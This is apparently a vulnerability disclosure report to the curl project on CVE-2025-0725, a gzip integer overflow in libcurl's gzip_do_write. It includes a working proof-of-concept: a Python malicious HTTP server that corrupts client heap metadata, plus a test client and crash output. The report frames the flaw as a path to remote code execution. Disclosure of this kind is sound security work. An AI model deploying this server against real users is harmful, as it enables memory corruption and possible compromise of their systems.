curl · Report #2956023
CVE-2025-0725: gzip integer overflow
How it was found
Hello, no AI slop this time. I promise!
The current master branch of libcurl contains a vulnerability in lib/content_encoding.c that allows a malicious HTTP-server to craft an arbitrary heap chunk in the memory of the victim and issue a free() of that forged chunk, when Content-Encoding: gzip is in use.
The vulnerability is in function gzip_do_write() in lines 533 - 544:
z->avail_in += (uInt) nbytes;
z->next_in = Curl_saferealloc(z->next_in, z->avail_in);
if(!z->next_in) {
return exit_zlib(data, z, &zp->zlib_init, CURLE_OUT_OF_MEMORY);
}
/* Append the new block of data to the previous one */
memcpy(z->next_in + z->avail_in - nbytes, buf, nbytes);
switch(check_gzip_header(z->next_in, (ssize_t)z->avail_in, &hlen)) {
case GZIP_OK:
/* This is the zlib stream data */
free(z->next_in);
On systems with a zlib version < 1.2.0.4, libcurl offers to manually parse gzip headers and trailers instead of passing everything to zlib as is. Unfortunately, when parsing the headers the remote server can trigger an integer overflow of z->avail_in in line 533, which leads the following Curl_saferealloc() call to shrink the chunk z->next_in. The following memcpy() can then write out-of-bounds before z->next_in, overwriting chunk metadata of the allocator. And right after the oob-write was triggered, the call to free(z->next_in) puts the forged chunk into the freelist of the allocator. z->avail_in can be overflowed because libcurl supports endlessly large gzip headers that can lead to repeated calls of gzip_do_write() with zp->zlib_init == ZLIB_GZIP_HEADER that keep incrementing z->avail_in with the amount of received data nbytes.
PoC
Consider the following malicious HTTP-server:
#!/usr/bin/env python3
from pwn import *
gzip_header = bytes([
0x1f, 0x8b, # magic values
8, # method
8, # flags
0, 0, 0, 0, 0, 0, # random bullshit go
])
with listen(1234) as conn:
conn.wait_for_connection()
# Discard HTTP request
while True:
line = conn.recvline()
if line == b"\r\n":
break
# Fill up buffer
conn.sendline(b"HTTP/1.1 200 OK\r")
conn.sendline(b"Content-Encoding: gzip\r")
conn.sendline(b"\r")
conn.send(gzip_header)
todo = 0xFFFFFFFF - 15 - len(gzip_header)
amnt = 6000000
while todo > amnt:
conn.send(bytes([1]) * amnt)
todo -= amnt
conn.send(bytes([1]) * todo)
# Trigger integer overflow
time.sleep(5)
conn.send(bytes(32)) # forged chunk
And consider the following libcurl client:
#include <curl/curl.h>
int main (void) {
CURL *curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_URL, "http://127.0.0.1:1234/");
curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, "gzip");
curl_easy_setopt(curl, CURLOPT_BUFFERSIZE, 10485760); // to speed up the PoC
curl_easy_perform(curl);
}
When launching
python3 ./server.py
in one terminal and
./client
in another terminal, we can observe that after ~10min. we get the following message:
free(): invalid pointer
[1] 233088 IOT instruction (core dumped) ./client
Meaning that we were successfully able to overwrite chunk metadata.
Impact
The vulnerability
- exists both in the library and the tool in every installation
- is easy to trigger, a victim just has to be pointed to an evil URL
- can lead to RCE when combined with information leaks that bypass ASLR because it offers a controlled heap out-of-bounds write exploitation primitive
Thus I suggest severity "High"